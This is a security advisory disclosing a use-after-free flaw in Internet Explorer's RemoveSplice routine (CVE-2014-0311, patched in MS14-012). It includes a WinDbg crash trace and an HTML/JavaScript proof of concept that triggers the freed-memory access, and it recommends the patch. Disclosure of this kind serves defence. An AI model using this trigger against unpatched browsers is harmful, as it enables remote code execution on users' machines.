security-assessment.com

Vulnerability Advisory

Name	Microsoft Internet Explorer 'RemoveSplice' Use-After-Free Vulnerability (MS14-012)
CVE	CVE-2014-0311
Vendor Website	http://www.microsoft.com/
Date Released	11/03/2014
Affected Software	Microsoft Internet Explorer 6 Microsoft Internet Explorer 7 Microsoft Internet Explorer 8 Microsoft Internet Explorer 9 Microsoft Internet Explorer 10 Microsoft Internet Explorer 11
Researchers	Scott Bell

Description

A memory corruption vulnerability was identified in Microsoft Internet Explorer which allows a malicious user to remotely execute arbitrary code on a vulnerable user's machine, in the context of the current user.

Exploitation

Exploitation of this vulnerability requires a user to visit a page containing specially crafted JavaScript. Users can generally be lured to visit web pages via email, instant message or links on the internet. Vulnerabilities like this are often hosted on legitimate websites which have been compromised by other means.
The following table shows some cursory debug information:

Debugger Output

```
(f60.568): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=04ef2fd8 ebx=00000000 ecx=7c91005d edx=00000001 esi=0336d040 edi=04ef2fd8
eip=3cee758c esp=0336ced8 ebp=0336d030 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
mshtml!CSpliceTreeEngine::RemoveSplice+0x4ea:
3cee758c 8b4710          mov     eax,dword ptr [edi+10h] ds:0023:04ef2fe8=????????
1:020> !heap -p -a eax
    address 04ef2fd8 found in
    _DPH_HEAP_ROOT @ 151000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                 4e248c0:         4ef2000             2000
    7c91a1ba ntdll!RtlFreeHeap+0x000000f9
    3cf45277 mshtml!CTreePos::Release+0x00000030
    3d14e8a7 mshtml!CMarkup::RemovePointerPos+0x000000b0
    3cf26e97 mshtml!CMarkupPointer::UnEmbed+0x00000058
    3cf43611 mshtml!CMarkupPointer::Unposition+0x00000020
    3cf43671 mshtml!CMarkupPointer::~CMarkupPointer+0x0000001a
    3cfa0375 mshtml!CBase::SubRelease+0x00000022
    3cf799c7 mshtml!CHTMLNamespaceCollection::Release+0x00000011
    3cfd2037 mshtml!CDOMTextNode::~CDOMTextNode+0x00000062
    3cfa0375 mshtml!CBase::SubRelease+0x00000022
    3cf7a3d6 mshtml!PlainRelease+0x00000025
    3cf7a212 mshtml!ReleaseInterface+0x0000000a
    3cf43be3 mshtml!CBase::Passivate+0x0000001c
    3cfa034c mshtml!CBase::PrivateRelease+0x0000002d
    3cf445d3 mshtml!CElement::PrivateExitTree+0x00000011
    3cee787b mshtml!CMarkup::SpliceTreeInternal+0x00000083
```

The following HTML proof of concept code can be used to reproduce the vulnerability:

Proof of Concept

```
<!DOCTYPE HTML>
<html>
<head>
<script>
function main() {

var div1 = document.createElement('div')
document.body.appendChild(div1)
var obj6 = document.createElement('object')
document.body.appendChild(obj6)
var p2 = document.createElement('p')
document.body.appendChild(p2)
var text1 = document.createElement('textarea')
text1.rows = 671500
document.body.appendChild(text1)

all = document.body.children
all[2].outerText = "aaaa"
all[0].appendChild(all[1])
all[1].setAttribute("className", all[1].previousSibling)

setTimeout('CollectGarbage();all[0].outerText = "aaaa";document.body.innerHTML += "a"', 1000)

}
</script>
</head>
<body onload="main()">
</body>
</html>
```

Solution

Microsoft validated this security issue and issued a patch (MS14-012) to remedy it.
Security-Assessment.com recommends applying the patch which has been made available via Windows Update.

About Security-Assessment.com

security-assessment.com

Security-Assessment.com is a leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients.

Security-Assessment.com is committed to security research and development, and its team continues to identify and responsibly publish vulnerabilities in public and private software vendor's products. Members of the Security-Assessment.com R&D team are globally recognised through their release of whitepapers and presentations related to new security research.

For further information on this issue or any of our service offerings, contact us:
Web www.security-assessment.com
Email info@security-assessment.com